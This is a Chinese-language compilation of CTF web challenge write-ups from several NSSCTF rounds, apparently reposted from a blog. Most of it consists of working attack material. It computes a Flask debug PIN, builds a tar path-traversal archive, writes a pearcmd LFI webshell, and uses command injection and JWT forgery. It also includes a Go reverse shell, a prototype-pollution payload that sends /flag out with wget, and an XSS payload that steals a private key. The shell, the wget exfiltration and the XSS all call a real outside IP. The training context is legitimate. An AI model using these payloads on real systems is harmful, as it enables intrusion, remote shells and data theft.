env也没偷鸡成功,但起码知道debug是开着的&用户名是ctf
Proc 目录在 CTF 中的利用-安全客 - 安全资讯平台
看模板进程,正常是15-18
ls -lh /proc/17/fd
17里翻到了flag1
cat /proc/17/fd/3
接下来flask算pin
先随便整点报错,拿到绝对路径
/usr/local/lib/python3.10/site-packages/flask/app.py
用户已知是ctf
读getNode得到uuid
cat /sys/class/net/eth0/address
0242ac0264db 十六进制转十进制即可
2485376935131
读/proc/sys/kernel/random/boot_id
780aeba6-919e-4c3d-854f-e2e8936f5ab1
读 /proc/self/cgroup
0ae130a48ea276b0e671801311d118dac6aecdeb9af6ec35a9d71ae2d78af041
整理后 拼接得到最终machine_id
780aeba6-919e-4c3d-854f-e2e8936f5ab10ae130a48ea276b0e671801311d118dac6aecdeb9af6ec35a9d71ae2d78af041
算pin脚本
import hashlibfrom itertools import chaindef getPIN(public_bits, private_bits): rv = None num = None # h = hashlib.md5() h = hashlib.sha1() for bit in chain(public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt") cookie_name = f"__wzd{h.hexdigest()[:20]}" # If we need to generate a pin we salt it a bit more so that we don't # end up with the same value and generate out 9 digits if num is None: h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9] # Format the pincode in groups of digits for easier remembering if # we don't have a result yet. if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = "-".join( num[x: x + group_size].rjust(group_size, "0") for x in range(0, len(num), group_size) ) break else: rv = num return rv, cookie_nameif __name__ == "__main__": public_bits = [ 'ctf', 'flask.app', 'Flask', '/usr/local/lib/python3.10/site-packages/flask/app.py' ] private_bits = [ '2485376935131', '780aeba6-919e-4c3d-854f-e2e8936f5ab10ae130a48ea276b0e671801311d118dac6aecdeb9af6ec35a9d71ae2d78af041' ] PIN = getPIN(public_bits, private_bits) print(PIN)
在/shell处打开console输入pin码,读变量flag2
[NSSRound#7 Team]新的博客
随便注册一个账号,登录
点第二个链接直接弹窗
点第一个链接跳转
拿随波逐流base64->hex->base64->hex解个码
CTF在线工具-CTF工具|CTF编码|CTF密码学|CTF加解密|程序员工具|在线编解码
附件里的flag文件提示要拿admin
www/app/conf/userinfo.json中拿到admin账密,显然后者不可逆
{"admin": "c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec"}
点击备份功能
看到flag在/Z3r4y/flag
点击恢复功能
可以上传一个tar.gz文件,存在路径覆盖漏洞
生成压缩包脚本
import os, hashlib, jsonusername = 'Z3r4y'admin_passwd = 'admin'os.makedirs('conf')os.makedirs(os.sep.join([os.getcwd(), 'userData', username]))with open(os.sep.join([os.getcwd(), 'conf', 'userinfo.json']), 'wb') as tFile: tFile.write(json.dumps({'admin': hashlib.sha512(admin_passwd.encode('utf-8')).hexdigest()}).encode('utf-8'))userDataDir = os.sep.join([os.getcwd(), 'userData'])os.system(f'cd "{userDataDir}" && tar cPzvf upload.tar.gz {username}/../../conf/userinfo.json')
上传该压缩包
登出,以admin/admin登录,访问第二个链接,拿到flag
[NSSRound#8 Basic]MyPage
进来存在一个文件包含
?file=php://filter/convert.base64-encode/resource=index.php
啥也读不出来
文件包含直接打pearcmd
利用pearcmd.php本地文件包含(LFI)-CSDN博客
/index.php?file=?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php
/index.php?file=/tmp/shell.phpcmd=system('env');
[NSSRound#8 Basic]MyDoor
伪协议读index.php,base64解码拿到源码
/index.php?file=php://filter/convert.base64-encode/resource=index.php
<?phperror_reporting(0);if (isset($_GET['N_S.S'])) { eval($_GET['N_S.S']);}if(!isset($_GET['file'])) { header('Location:/index.php?file=');} else { $file = $_GET['file']; if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) { include $file; } else { die('error.'); }}
直接给了后门
/index.php?N[S.S=system('env');
[NSSRound#8 Basic]Upload_gogoggo
抓包看响应头啥也没有
随便上传一个文件
发现执行了 go 文件名前缀
尝试上传help.txt
这次执行了 go 文件名前缀 文件名
尝试上传恶意go文件
目的构造go run xxx.go,所以文件名改成run.go
package mainimport ( "bytes" "fmt" "os/exec")func main() { // 创建一个*exec.Cmd,这里以`ls`命令为例。如果你在Windows上运行,可以改为`cmd`和`/C dir`。 cmd := exec.Command("bash", "-c","bash -i >& /dev/tcp/124.222.136.33/1337 0>&1") // 创建一个bytes.Buffer来捕获命令的标准输出。 var out bytes.Buffer cmd.Stdout = &out // 运行命令 err := cmd.Run() if err != nil { fmt.Println("Error executing command:", err) return } // 打印命令的输出 fmt.Println("Command output:", out.String())}
反弹shell拿flag碎片,base64解码即可
[NSSRound#8 Basic]ez_node
下载附件,看server.js
const express = require("express");const path = require("path");const fs = require("fs");const multer = require("multer");const PORT = process.env.port || 3000const app = express();global = "global"app.listen(PORT, () => { console.log(`listen at ${PORT}`);});function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } }}let objMulter = multer({ dest: "./upload" });app.use(objMulter.any());app.use(express.static("./public"));app.post("/upload", (req, res) => { try{ let oldName = req.files[0].path; let newName = req.files[0].path + path.parse(req.files[0].originalname).ext; fs.renameSync(oldName, newName); res.send({ err: 0, url: "./upload/" + req.files[0].filename + path.parse(req.files[0].originalname).ext }); } catch(error){ res.send(require('./err.js').getRandomErr()) }});app.post('/pollution', require('body-parser').json(), (req, res) => { let data = {}; try{ merge(data, req.body); res.send('Register successfully!tql') require('./err.js').getRandomErr() } catch(error){ res.send(require('./err.js').getRandomErr()) }})
err.js
obj={ errDict: [ '发生肾么事了!!!发生肾么事了!!!', '随意污染靶机会寄的,建议先本地测', '李在干神魔👹', '真寄了就重开把', ], getRandomErr:() => { return obj.errDict[Math.floor(Math.random() * 4)] }}module.exports = obj
参考文章:Node.js require() RCE复现 | Jiekang Hu's Blog
在require非原生库的过程中,最终会去调用PkgPath和pkg.exports拼接起来的字符串所指定的文件
payload:
test.js
没有curl,nc,bash,考虑用wget来外带数据
obj={ getRandomErr:() => { require('child_process').execSync('wget http://124.222.136.33:1337/`cat /flag`') }}module.exports=obj
上传成功
污染
{"__proto__": {"data": {"name": "./err.js","exports": "./db93efa882fa2a00a76ce0595bea087e.js"},"path": "/app/upload"}}
接收到flag
[NSSRound#13 Basic]flask?jwt?
随便注册个号登录
点击拿flag回显要admin
注意到session为jwt
在忘记页码界面找到secretkey: th3f1askisfunny
先解密
把_user_id改为1再加密
改session,拿flag
[NSSRound#13 Basic]flask?jwt?(hard)
进来注册登录,session解密,看到除了_id,还需要多伪造一个time
去忘记密码页面找secretkey没找到,回到用户界面右键查看源码得知secretkey路径
访问/wor得知上次登录的时间,注意到这个时间就是我们对session进行解密得出的time,所以/wor这个页面对session存在读取操作
确实没找到secret_key,尝试删掉部分session让其报错拿到secret_key
再拿secret_key解密一下
_id改为1,加密
改session,拿flag
[NSSRound#13 Basic]ez_factors
点击Tool跳转
2*31*1847=114514,这里就是从url里接参,然后作为命令拼接调用
尝试;env拼接命令,可以执行,说明是linux命令,但只回显数字
然后用10进制输出文件内容
直接传会报错
/factors/114514;od -t dC /flag
于是url编码一次
payload:
/factors/114514;%6f%64%20%2d%74%20%64%43%20%2f%66%6c%61%67
把拿到的数据还原成字符串拿到flag
[NSSRound#13 Basic]MyWeb
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
单引号(’)双引号(”)反斜杠(\)NULL
所以考虑内敛执行
payload:
先写入拼接恶意命令,注意//注释掉了本行内容,所以需要%0a来换行,eval是支持换行执行的
?mode=save&value=]//%0a;echo%20`cat%20/flag`;//
再读命令执行结果
?mode=read
[NSSRound#13 Basic]TimeTrcer
先随便create一个note
点击链接跳转,点击Report it,弹窗一眼xss
右键查看源码,注意这段js
function sleep(ms) {...}
定义了一个名为sleep
的函数,它接受一个参数ms
,表示毫秒数。该函数返回一个Promise对象,在指定的毫秒数后resolve这个Promise。使用
let hash = new URLSearchParams(location.search).get('hash');
从当前页面的URL中获取名为"hash"的参数的值。使用立即调用的异步函数表达式
(async () => {...})()
来执行异步任务。这个异步函数主要是用来获取用户输入的私钥,并向后端发送请求来获取笔记的数据。用户会被提示输入私钥,然后弹出确认框,如果用户确认使用这个私钥,则会向服务器发起POST请求,请求获取笔记数据。笔记数据将会在网页中显示。
在标题显示之后,使用了一个
await sleep(500);
来暂停执行500毫秒。这可能是为了增加一些挑战性。最后,当点击"report"按钮时,会向后端发送一个报告请求,并弹出一个alert框显示报告的响应内容。
payload:
<img src="" onerror="window.confirm=(a)=>{return true;};var fakefetch= window.fetch; window.fetch = async (...args) => {awaitfakefetch('http://124.222.136.33:1337', {method: 'POST',mode: 'no-cors',body:JSON.stringify(args),}); }; window.content = undefined; var fetched =false; Error.prepareStackTrace = (_, callsites) =>{console.log('jacked');callsites.forEach((callsite) => {if(fetched ==false){callsite.getFunction()(); fetched =true}}); };" />
解读一下这段payload:
1、插入了img标签,使得56-65这段匿名函数执行停止,去加载img外部引用,因为没有外部引用,所以触发img的error,执行js代码
2、js代码把confirm替换默认返回true,将fetch替换为将传递的参数发送到我们的vps,替换window.content = undefined来触发报错,替换Error.prepareStackTrace来通过报错来劫持调用栈
3、之后执行content.innerHTML = data.message.content,发生报错,执行Error.prepareStackTrace,通过 callsite.getFunction()获取当前调用栈的函数,也就56-65这段的匿名函数,再callsite.getFunction()(),让这段匿名函数再次执行
4、 if (confirm('Using this pirvateKey? Cancel For retype'))直接返回true,接下来fetch被我们之前替换了,所以执行fakefetch,将传递进来的参数包括私钥发送到我们的vps
哈希值c81e728d9d4c2f636f067f89cc14862c
是字符串"2"的MD5哈希结果
点击链接,report it让bot点击,成功接收
扔给gpt处理一下
拿着这个私钥去访问/view?hash=c4ca4238a0b923820dcc509a6f75849b,拿到flag
[NSSRound#16 Basic]RCE但是没有完全RCE
[NSSRound#16 Basic]了解过PHP特性吗
【Web】NSSCTF Round#16 Basic个人wp(全)
[NSSRound#17 Basic]真·签到
[NSSRound#17 Basic]真的是文件上传吗?
【Web】NSSCTF Round#17 Basic个人wp(全)
[NSSRound#18 Basic]门酱想玩什么呢?
[NSSRound#18 Basic]Becomeroot
【Web】NSSCTF Round#18 Basic个人wp(部分)_nss becomeroot-CSDN博客
[NSSRound#18 Basic]easy_rw
直接扫出来信息泄露
或者CVE复现即可
Apache DolphinScheduler 敏感信息泄漏 (CVE-2023-48796)_墨知
/actuator
是Actuator端点的默认路径前缀。在不同的Spring Boot版本和配置中,可用的端点可能会有所不同,但下面是一些常见的/actuator
下的子端点及其用途:1.
/actuator/health
提供应用的健康信息。可以显示应用是否处于运行状态以及各种健康指标的详情,比如数据库连接是否正常、磁盘空间是否足够等。
2.
/actuator/info
显示应用的基本信息,这些信息可以通过在
application.properties
或application.yml
文件中配置info
属性来自定义。3.
/actuator/metrics
提供应用的详细指标,如内存使用情况、HTTP请求计数、线程池状态等。可以查询特定的指标来获取更细致的数据。
4.
/actuator/env
显示应用的环境属性,包括配置属性、系统环境变量、系统属性等。
5.
/actuator/loggers
允许查看和修改应用中日志记录器的配置,比如动态调整日志级别。
6.
/actuator/heapdump
提供一个JVM堆转储文件,可以用于深入分析应用的内存使用情况。
7.
/actuator/threaddump
提供当前应用的线程状态快照,有助于诊断死锁或其他线程问题。
8.
/actuator/auditevents
显示应用的审计事件信息,比如认证事件、访问决策等,前提是应用配置了审计功能。
9.
/actuator/caches
显示应用中缓存的详细信息,前提是应用使用了Spring Framework的缓存抽象。
10.
/actuator/scheduledtasks
列出应用中所有的定时任务信息。
11.
/actuator/httptrace
显示HTTP跟踪信息(比如最近的HTTP请求-响应交换),这取决于
HttpTraceRepository
的配置。
访问/dolphinscheduler/actuator/env直接读到环境变量里的flag
[NSSRound#20 Basic]真亦假,假亦真
[NSSRound#20 Basic]CSDN_To_PDF V1.2
【Web】NSSCTF Round#20 Basic 个人wp-CSDN博客
[NSSRound#20 Basic]baby-Codeigniter
[NSSRound#20 Basic]组合拳!
【Web】NSSCTF Round#20 Basic 两道0解题的赛后谈
阅读本书更多章节>>>>本文链接:https://www.kjpai.cn/gushi/2024-04-12/157432.html,文章来源:网络cs,作者:言安琪,版权归作者所有,如需转载请注明来源和作者,否则将追究法律责任!